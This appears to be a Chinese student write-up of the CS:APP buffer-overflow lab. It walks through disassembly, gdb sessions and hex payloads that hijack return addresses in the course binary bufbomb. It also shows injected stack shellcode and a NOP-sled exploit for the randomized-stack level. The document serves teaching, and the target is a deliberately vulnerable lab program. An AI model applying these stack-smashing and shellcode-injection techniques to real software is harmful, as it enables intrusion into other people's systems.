
buflab
实验目的个人PC、Linux 32位操作系统、Ubuntu16.04
实验内容 准备阶段在linux系统中将实验压缩包解压并找到实验所用到的实验文件夹buflab-handout,打开文件夹得到bufbomb、hex2raw、makecookie文件;
阅读README等实验相关材料,通过各种方式了解实验的相关内容和过程;
检查buflab-handout中的三个文件,发现三个文件皆不能查看里面的内容,猜测有的是用来执行的,有的应该是要用到反汇编工具查看其中汇编代码。
bufbomb 有缓冲区溢出漏洞的程序,是要攻击的文件;
makecookie 是基于个人 id 生成的身份数据;
hex2raw 让自己编写的漏洞代码转化为一个字符串的格式;
kate@ubuntu:~/buflab-handout$ ./makecookie gates 0x3c39f4e6
分析阶段 Level0注意点:
- getbuf遇到换行就会认为输入停止,而换行n的对应的ASCII值是0x0a,所以不可以输入的字符串中含有0x0a
- 格式转换要注意每次输入的都是两个数字,比如你要输入0,就要输入00。
- 小端格式输入。
题目要求: 当 test 函数在调用 getbuf 函数时,本来这个程序会按照惯例返回 test 函数,但是我们要做的就是当 getbuf 函数执行 return 语句时跳转执行 smoke 的代码,而不是返回 test 函数。
实现原理: 当getbuf函数在运行的时候,其会开辟一段栈帧,其中有一段是输入字符的缓冲区,我们只要输入超出缓冲区大小的字符串来把缓冲区填满,超出部分覆盖getbuf的返回地址,而这部分恰恰是用smoke的入口地址覆盖,这样当程序就不会正常返回而是根据你的返回地址跳转到返回地址对应的内容并执行。这题的关键需要确定栈的大小和需要覆盖的字节数。
实现过程:
08049262: 8049262: 55 push %ebp 8049263: 89 e5 mov %esp,%ebp 8049265: 83 ec 38 sub $0x38,%esp 8049268: 8d 45 d8 lea -0x28(%ebp),%eax 804926b: 89 04 24 mov %eax,(%esp) 804926e: e8 bf f9 ff ff call 8048c32 8049273: b8 01 00 00 00 mov $0x1,%eax 8049278: c9 leave 8049279: c3 ret 804927a: 90 nop 804927b: 90 nop 804927c: 90 nop 804927d: 90 nop 804927e: 90 nop 804927f: 90 nop
由上述代码可知,输入字符串buf的存放位置为$ebp-0x28,这里从buf的起始地址到返回地址总共有48个字节,前40个字节是存放正常输入的内容,Gets()从输入流中获取一个字符串,并将其存储到其目标地址(buf)。但是,Gets()无法确定buf是否足够大以存储整个输入。它只是复制整个输入字符串,可能会超出分配给buf的内存。只要我们再输入4个字节,就可以把保存的旧ebp覆盖,再输入4个字节,那么我们就可以把返回地址覆盖,要调用smoke函数,只要最后4个字节我们要填入smoke函数的起始地址就可以了;
| 栈帧 | 位置 |
|---|---|
| getbuf()返回地址 | |
| 旧ebp | |
| 传入的数据 | -4 |
| 传入的数据 | -8 |
| … | … |
| 传入的数据 | -0x28 |
| … | … |
08048e0a: 8048e0a: 55 push %ebp 8048e0b: 89 e5 mov %esp,%ebp 8048e0d: 83 ec 18 sub $0x18,%esp 8048e10: c7 44 24 04 fe a2 04 movl $0x804a2fe,0x4(%esp) 8048e17: 08 8048e18: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048e1f: e8 6c fb ff ff call 8048990 <__printf_chk@plt> 8048e24: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048e2b: e8 50 04 00 00 call 8049280 8048e30: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048e37: e8 94 fa ff ff call 80488d0
smoke函数起始地址为0x08048e0a
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0b 8e 04 08
前面填充的44个字节随便输入,不影响结果,但后面的4个字节须输入smoke的返回地址。
需要注意两点:
- 小端法输入
- 不能输入0a,这个是换行的ASCII码,代表输入结束,我们可不希望他在这里输入结束,所以我们输入0b来代替,反正这个也是跳到smoke函数里面去了,push %ebp 这一步不影响结果。
kate@ubuntu:~/buflab-handout$ ./hex2raw < level0.txt | ./bufbomb -u gates Userid: gates Cookie: 0x3c39f4e6 Type string:Smoke!: You called smoke() VALID NICE JOB!
题目要求: Level1的任务是让bufbomb在test函数中调用getbuf,当getbuf执行return语句时跳转执行fizz的代码,而不是返回test函数。
实现原理: 我们要做的依然是将getbuf函数输入溢出,先输入44个无关字节,然后输入fizz函数的地址,让getbuf函数跳到fizz函数里面执行。但此时我们要注意的是fizz函数要传入参数,所以我们还要找到fizz函数传参的地址。
实现过程:
08048daf: 8048daf: 55 push %ebp 8048db0: 89 e5 mov %esp,%ebp 8048db2: 83 ec 18 sub $0x18,%esp 8048db5: 8b 45 08 mov 0x8(%ebp),%eax 8048db8: 3b 05 04 d1 04 08 cmp 0x804d104,%eax 8048dbe: 75 26 jne 8048de6 8048dc0: 89 44 24 08 mov %eax,0x8(%esp) 8048dc4: c7 44 24 04 e0 a2 04 movl $0x804a2e0,0x4(%esp) 8048dcb: 08 8048dcc: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048dd3: e8 b8 fb ff ff call 8048990 <__printf_chk@plt> 8048dd8: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048ddf: e8 9c 04 00 00 call 8049280 8048de4: eb 18 jmp 8048dfe 8048de6: 89 44 24 08 mov %eax,0x8(%esp) 8048dea: c7 44 24 04 d4 a4 04 movl $0x804a4d4,0x4(%esp) 8048df1: 08 8048df2: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048df9: e8 92 fb ff ff call 8048990 <__printf_chk@plt> 8048dfe: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048e05: e8 c6 fa ff ff call 80488d0
根据汇编代码可以发现,fizz函数入口地址为08048daf。
8048db2: 83 ec 18 sub $0x18,%esp 8048db5: 8b 45 08 mov 0x8(%ebp),%eax
fizz函数将ebp+8的地址里面内容传入该函数中。因为是通过缓冲区溢出直接执行fizz函数而不是call fizz函数,所以栈不会自动将返回地址压栈,即参数应该放在 旧%ebp+12 的位置。所以我们要在返回地址处输入fizz的地址,再输入4个无关字节,然后输入我们要传入的参数,该参数是我们自己的cookie。
| 栈帧 | 说明 |
|---|---|
| test()保存的返回地址 | |
| test()保存的旧ebp | |
| … | |
| … | |
| fizz()要调用的参数 | 这里要改为我们的cookie |
| 4个字节 | 随便填充 |
| getbuf()保存的返回地址 | 改为fizz()函数执行地址 |
| getbuf()保存的旧ebp | ebp |
| … | |
| buf()首地址 | 输入数据从这里开始保存 |
| … | … |
kate@ubuntu:~/buflab-handout$ touch level1.txt
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 af 8d 04 08 00 00 00 00 e6 f4 39 3c
kate@ubuntu:~/buflab-handout$ ./hex2raw < level1.txt | ./bufbomb -u gates Userid: gates Cookie: 0x3c39f4e6 Type string:Fizz!: You called fizz(0x3c39f4e6) VALID NICE JOB!
题目要求: 在我们执行test时,调用完getbuf不返回到test,而是执行bang函数,但该函数用到的参数是一个全局变量,在执行bang函数之前需要设计该全局变量为我们自己id的“cookie”。
实现原理: 通过前两题的方法来修改返回地址,通过自己编写汇编代码的方法来实现修改全局变量,但我们需要将汇编代码转为机器代码,然后写入到要输入的文本中。
实现过程:
08048d52: 8048d52: 55 push %ebp 8048d53: 89 e5 mov %esp,%ebp 8048d55: 83 ec 18 sub $0x18,%esp 8048d58: a1 0c d1 04 08 mov 0x804d10c,%eax 8048d5d: 3b 05 04 d1 04 08 cmp 0x804d104,%eax 8048d63: 75 26 jne 8048d8b 8048d65: 89 44 24 08 mov %eax,0x8(%esp) 8048d69: c7 44 24 04 ac a4 04 movl $0x804a4ac,0x4(%esp) 8048d70: 08 8048d71: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048d78: e8 13 fc ff ff call 8048990 <__printf_chk@plt> 8048d7d: c7 04 24 02 00 00 00 movl $0x2,(%esp) 8048d84: e8 f7 04 00 00 call 8049280 8048d89: eb 18 jmp 8048da3 8048d8b: 89 44 24 08 mov %eax,0x8(%esp) 8048d8f: c7 44 24 04 c2 a2 04 movl $0x804a2c2,0x4(%esp) 8048d96: 08 8048d97: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048d9e: e8 ed fb ff ff call 8048990 <__printf_chk@plt> 8048da3: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048daa: e8 21 fb ff ff call 80488d0
bang函数地址为0x08048d52,bang函数会使用到参数 global_value ,我们要做的就是把这个全局参数改为自己的 cookie 。
8048d55: 83 ec 18 sub $0x18,%esp 8048d58: a1 0c d1 04 08 mov 0x804d10c,%eax
查看bang函数汇编代码,寻找需要传内容的代码行,找到上述汇编代码,可以基本断定,0x804d10c就是 global_value 的存储地址。
修改 global_value 这个全局变量,将其改为我们的cookie,因为没有函数可以供我们使用去修改内存的值,所以根据实验文档,我们需要自己编写一段代码进行修改。
新建一个文件,并编写汇编代码
kate@ubuntu:~/buflab-handout$ touch change_value.s
# 编写的汇编代码 movl $0x3c39f4e6, 0x804d10c #将自己的cookie值利用mov指令立即数传值直接传到存储global_value的地址里面。 push $0x8048d52 #将bang入口地址压栈 ret #返回到bang继续执行
kate@ubuntu:~/buflab-handout$ gcc -m32 -c change_value.s kate@ubuntu:~/buflab-handout$ objdump -d change_value.o >change_value.d
change_value.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: c7 05 0c d1 04 08 e6 movl $0x3c39f4e6,0x804d10c 7: f4 39 3c a: 68 52 8d 04 08 push $0x8048d52 f: c3 ret
机器码的作用是执行到它时,修改全局变量的值并进入bang函数,执行getbuf函数的时候修改返回地址,使getbuf执行完毕后,继续执行这个函数,执行完这个函数就自动执行bang函数,完成了题目的要求。
kate@ubuntu:~/buflab-handout$ gdb -q bufbomb Reading symbols from /home/kate/buflab-handout/bufbomb...(no debugging symbols found)...done. (gdb) b getbuf Breakpoint 1 at 0x8049268 (gdb) r -u gates Starting program: /home/kate/buflab-handout/bufbomb -u gates Userid: gates Cookie: 0x3c39f4e6 Breakpoint 1, 0x08049268 in getbuf () (gdb) disassem Dump of assembler code for function getbuf: 0x08049262 <+0>: push %ebp 0x08049263 <+1>: mov %esp,%ebp 0x08049265 <+3>: sub $0x38,%esp => 0x08049268 <+6>: lea -0x28(%ebp),%eax 0x0804926b <+9>: mov %eax,(%esp) 0x0804926e <+12>: call 0x8048c320x08049273 <+17>: mov $0x1,%eax 0x08049278 <+22>: leave 0x08049279 <+23>: ret End of assembler dump. (gdb) ni 0x0804926b in getbuf () (gdb) p/x $eax $1 = 0x55683e78
我们注意到这条指令:0x08049268 <+6>: lea -0x28(%ebp),%eax, getbuf() 函数中将-0x28(%ebp)值传给eax,这就是开辟栈帧的操作,为的就是后面的调用 Get() 函数后,用来读取40个字节。所以做完开辟栈帧这一步得到的eax其实就是 Get() 函数存放数据的首地址,我们要想程序读到我们自己写的机器码,就要程序跑到这个首地址去执行,所以我们要用于覆盖的返回地址的值就是0x55683e78
kate@ubuntu:~/buflab-handout$ touch level2.txt
c7 05 0c d1 04 08 e6 f4 39 3c 68 52 8d 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 3e 68 55
对输入文件构成进行解析:首先是机器码,将我们需要执行的机器码放在最开始,这样当程序读到这里的时候就会执行我们需要其执行的指令。然后我们用这段机器码保存的首地址来覆盖返回地址,这样程序就会跳到这里去执行机器码了。
kate@ubuntu:~/buflab-handout$ ./hex2raw < level2.txt | ./bufbomb -u gates Userid: gates Cookie: 0x3c39f4e6 Type string:Bang!: You set global_value to 0x3c39f4e6 VALID NICE JOB!
题目要求: 之前的几关我们是通过缓冲区溢出的方法跳入其他函数,而在本任务中我们希望 getbuf() 结束后回到 test() 原本的位置。在每次执行 getbuf 函数的时候,我们的返回值是1,这次我们需要将返回值设置为我们自己用户id的“ cookie ”;同时恢复原本 %ebp 的值,返回到 test 函数中继续执行。
实现原理: getbuf()函数在被调用时,程序的返回值被存储在%eax寄存器中,当getbuf()执行完,就会去%eax取值返回执行。因此,要想返回cookie,我们只要修改eax的值就可以。同上题一样,我们要修改函数的返回值,也要在栈上编写机器码。
实现过程:
| 栈帧 | 位置 |
|---|---|
| … | |
| 原test()函数esp | |
| getbuf()函数保存的返回地址 | |
| getbuf()函数保存的ebp | getbuf()栈帧ebp |
| … | |
08048e3c: #...... 8048e4b: e8 12 04 00 00 call 8049262 8048e50: 89 c3 mov %eax,%ebx #......
test() 函数在0x8048e4b处调用 getbuf() 函数,返回地址为0x8048e50,这是我们要恢复的下一条指令的地址。
kate@ubuntu:~/buflab-handout$ gdb -q bufbomb Reading symbols from /home/kate/buflab-handout/bufbomb...(no debugging symbols found)...done. (gdb) b* 0x8048e4b Breakpoint 1 at 0x8048e4b (gdb) r -u gates Starting program: /home/kate/buflab-handout/bufbomb -u gates Userid: gates Cookie: 0x3c39f4e6 Breakpoint 1, 0x08048e4b in test () (gdb) i r $ebp ebp 0x55683ed0 0x55683ed0
观察上述调试指令,我们是在0x8048e4b处设置了一个断点,为什么呢?我们先看这个地址里面是那一条指令: 8048e4b: e8 12 04 00 00 call 8049262
,这是 test() 函数里面对 getbuf() 函数的调用指令,我们在此处设置断点,就是为了查看 getbuf() 函数调用之前的ebp的值,因为我们到时候要回到的 test() 这个函数,所以我们在此处设置断点,查看此时的ebp的值就是我们将要编写的汇编代码里面要给ebp赋的值。
kate@ubuntu:~/buflab-handout$ touch level3.s
# 汇编代码 movl $0x3c39f4e6, %eax #设置返回值为cookie movl $0x55683ed0, %ebp #恢复原ebp的值 push $0x8048e50 #返回后下一条指令的地址 ret #返回
kate@ubuntu:~/buflab-handout$ gcc -m32 -c level3.s kate@ubuntu:~/buflab-handout$ objdump -d level3.o >level3.d
level3.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: b8 e6 f4 39 3c mov $0x3c39f4e6,%eax 5: bd d0 3e 68 55 mov $0x55683ed0,%ebp a: 68 50 8e 04 08 push $0x8048e50 f: c3 ret
kate@ubuntu:~/buflab-handout$ touch level3.txt
b8 e6 f4 39 3c bd d0 3e 68 55 68 50 8e 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 3e 68 55
kate@ubuntu:~/buflab-handout$ ./hex2raw < level3.txt | ./bufbomb -u gates Userid: gates Cookie: 0x3c39f4e6 Type string:Boom!: getbuf returned 0x3c39f4e6 VALID NICE JOB!
通过Level3!
补充方法2:我们对于ebp的修改工作也可以不采用代码修改的方式,而是直接利用缓冲区溢出覆盖的原理,直接把原来的ebp覆盖为我们要修改成的ebp。
新建文件,写入汇编代码,这次我们不必写ebp赋值这一行代码,其它的跟前面方法一一样。
kate@ubuntu:~/buflab-handout$ touch level3-1.s
# 汇编代码 movl $0x3c39f4e6, %eax #设置返回值为cookie push $0x8048e50 #返回后下一条指令的地址 ret #返回
kate@ubuntu:~/buflab-handout$ gcc -m32 -c level3-1.s kate@ubuntu:~/buflab-handout$ objdump -d level3-1.o >level3-1.d
level3-1.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: b8 e6 f4 39 3c mov $0x3c39f4e6,%eax 5: 68 50 8e 04 08 push $0x8048e50 a: c3 ret
kate@ubuntu:~/buflab-handout$ touch level3-1.txt
b8 e6 f4 39 3c 68 50 8e 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 3e 68 55 78 3e 68 55
kate@ubuntu:~/buflab-handout$ ./hex2raw < level3-1.txt | ./bufbomb -u gates Userid: gates Cookie: 0x3c39f4e6 Type string:Boom!: getbuf returned 0x3c39f4e6 VALID NICE JOB!
题目要求: 这个实验是前面一个实验的进阶版,为了运行这个阶段,要使用“-n”指令进入“Nitro”模式,程序没有再调用 getbuf() ,而是调用了另一个函数 getbufn() ,在“Nitro”模式下,getbufn() 函数将被调用5次,每次调用的%ebp值都是不同的,我们要做的是将每次 getbufn() 的返回值都修改为我们用户id的“Cookie”值,并且在执行完之后恢复ebp的值,同时恢复返回地址,使其能够正常回到 testn() 函数中继续执行。
实现原理: 对于这一题,我们实现的方法与前面的基本差不多,但本题增加了难度,本题要求我们进行5次的修改返回值并且进行5次的恢复ebp,但每次的ebp是不同的,所以难点就在于怎么样去确定每一次的ebp。
分析过程:
这样的事情程序会执行5次,其中修改部分每次都是一样的,但每一次分配给testn()函数的ebp是不同的,也就是说,我们不能像上一题一样直接将一个确定的地址赋值给ebp来还原ebp了。同时,Get()存储字符的首地址也在发生变化,我们也不能确定首地址在哪里,但是我们可以通过gdb调试得到每次的首地址。
| 栈帧 | 位置 |
|---|---|
| 原test()函数ebp | |
| … | |
| 原test()函数esp | |
| getbuf()函数保存的返回地址 | |
| getbuf()函数保存的ebp | getbuf()栈帧ebp |
| … | |
08048cce: 8048cce: 55 push %ebp 8048ccf: 89 e5 mov %esp,%ebp 8048cd1: 53 push %ebx 8048cd2: 83 ec 24 sub $0x24,%esp 8048cd5: e8 3e ff ff ff call 8048c18 8048cda: 89 45 f4 mov %eax,-0xc(%ebp) 8048cdd: e8 62 05 00 00 call 8049244 8048ce2: 89 c3 mov %eax,%ebx #......
可以看到,在testn()调用getbufn()之前除了保存旧栈帧操作之外,进行了一次压栈操作以及开辟0x24个空间的操作,故而有ebp=esp+0x28而当getbufn()函数执行结束关闭栈帧的时候,栈顶指针esp会回到原处,所以虽然我们不能通过直接将一个地址赋给ebp来还原栈底指针,但我们可以通过ebp=esp+0x28这个关系来将ebp还原。
08049244: 8049244: 55 push %ebp 8049245: 89 e5 mov %esp,%ebp 8049247: 81 ec 18 02 00 00 sub $0x218,%esp 804924d: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax 8049253: 89 04 24 mov %eax,(%esp) 8049256: e8 d7 f9 ff ff call 8048c32 804925b: b8 01 00 00 00 mov $0x1,%eax 8049260: c9 leave 8049261: c3 ret
通过汇编代码,我们可以发现,getbufn()在调用Get()函数之前开辟了0x208个地址空间,即520个字节,这是Get()函数在这一关中正常读入的字节数。前面我们说过Get()函数每一次读入数据时首地址不同(首地址与getbufn()的栈帧位置相关,而后者是变化的),所以我们需要找到5次读入数据的首地址。
kate@ubuntu:~/buflab-handout$ gdb -q bufbomb Reading symbols from /home/kate/buflab-handout/bufbomb...(no debugging symbols found)...done. (gdb) b *0x8049247 Breakpoint 1 at 0x8049247 (gdb) r -n -u gates Starting program: /home/kate/buflab-handout/bufbomb -n -u gates Userid: gates Cookie: 0x3c39f4e6 Breakpoint 1, 0x08049247 in getbufn () (gdb) p/x ($ebp-0x208) $1 = 0x55683c98
上述调试就是在调用Get()函数之前设置断点,找出这一次存放数据的首地址的位置。因为调用Get()函数需要开辟0x208个地址空间,那么getbufn()函数的ebp与Get()函数存放数据的首地址就应该存在这样的关系:首地址=ebp-0x208,我们直接用 p/x ($ebp-0x208)查看首地址的位置。
kate@ubuntu:~/buflab-handout$ gdb -q bufbomb Reading symbols from /home/kate/buflab-handout/bufbomb...(no debugging symbols found)...done. (gdb) b *0x8049247 Breakpoint 1 at 0x8049247 (gdb) r -n -u gates Starting program: /home/kate/buflab-handout/bufbomb -n -u gates Userid: gates Cookie: 0x3c39f4e6 Breakpoint 1, 0x08049247 in getbufn () (gdb) p/x ($ebp-0x208) $1 = 0x55683c98 (gdb) c Continuing. Type string: Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08049247 in getbufn () (gdb) p/x ($ebp-0x208) $2 = 0x55683c78 (gdb) c Continuing. Type string: Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08049247 in getbufn () (gdb) p/x ($ebp-0x208) $3 = 0x55683c18 (gdb) c Continuing. Type string: Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08049247 in getbufn () (gdb) p/x ($ebp-0x208) $4 = 0x55683c48 (gdb) c Continuing. Type string: Dud: getbufn returned 0x1 Better luck next time Breakpoint 1, 0x08049247 in getbufn () (gdb) p/x ($ebp-0x208) $5 = 0x55683c78
在求出第一个ebp之后,输入c继续,然后随便输入一个字符,继续之后便会爆炸,此时程序便跳到了第二次输入,如法炮制,我们一共获得5次输入时的ebp,求出对应首地址。
| 输入 | 1 | 2 | 3 | 4 | 5 |
|---|---|---|---|---|---|
| 首地址 | 0x55683c98 | 0x55683c78 | 0x55683c18 | 0x55683c48 | 0x55683c78 |
我们看到,首地址在发生变化,那我们要怎样才能确保程序正确跳到我们输入的机器码去运行呢?我们可以看到,首地址虽然在发生变化,但毕竟就是这几个数,而且最大与最小相差没有达到0x208,所以我们可以不像上次那样将机器码放在文件首端,而是放在输入内容的后面部分,接着在机器码的前面填满空指令nop(对应机器码0x90),即使前面任何一个地址作为首地址,也只是会先执行一段空指令,最终还会来到我们的机器码去执行。
当然,我们在填写输入内容的时候,最后要填的跳转地址可不是上面5个随便一个,而是要填最大那个,确保每次程序无论怎么跳都能跳进你输入的内容里面。如果不填最大那个,当程序运行的某一次的首地址比你填的那个要大,那么程序在跳转到你的那个地址时就不是跳到你输入的内容里面去了,而是其它不知道什么地方。
kate@ubuntu:~/buflab-handout$ touch level4.s
# 汇编代码 movl $0x3c39f4e6, %eax #设置返回值为cookie leal 0x28(%esp), %ebp #恢复原ebp的值 push $0x8048ce2 #返回后下一条指令的地址 ret #返回
kate@ubuntu:~/buflab-handout$ gcc -m32 -c level4.s kate@ubuntu:~/buflab-handout$ objdump -d level4.o >level4.d
level4.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: b8 e6 f4 39 3c mov $0x3c39f4e6,%eax 5: 8d 6c 24 28 lea 0x28(%esp),%ebp 9: 68 e2 8c 04 08 push $0x8048ce2 e: c3 ret
kate@ubuntu:~/buflab-handout$ touch level4.txt
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 b8 e6 f4 39 3c 8d 6c 24 28 68 e2 8c 04 08 c3 98 3c 68 55
组成:509个90 + 15个机器码 + 最大的返回地址(小端法)
kate@ubuntu:~/buflab-handout$ ./hex2raw < level4.txt -n | ./bufbomb -n -u gates Userid: gates Cookie: 0x3c39f4e6 Type string:KABOOM!: getbufn returned 0x3c39f4e6 Keep going Type string:KABOOM!: getbufn returned 0x3c39f4e6 Keep going Type string:KABOOM!: getbufn returned 0x3c39f4e6 Keep going Type string:KABOOM!: getbufn returned 0x3c39f4e6 Keep going Type string:KABOOM!: getbufn returned 0x3c39f4e6 VALID NICE JOB!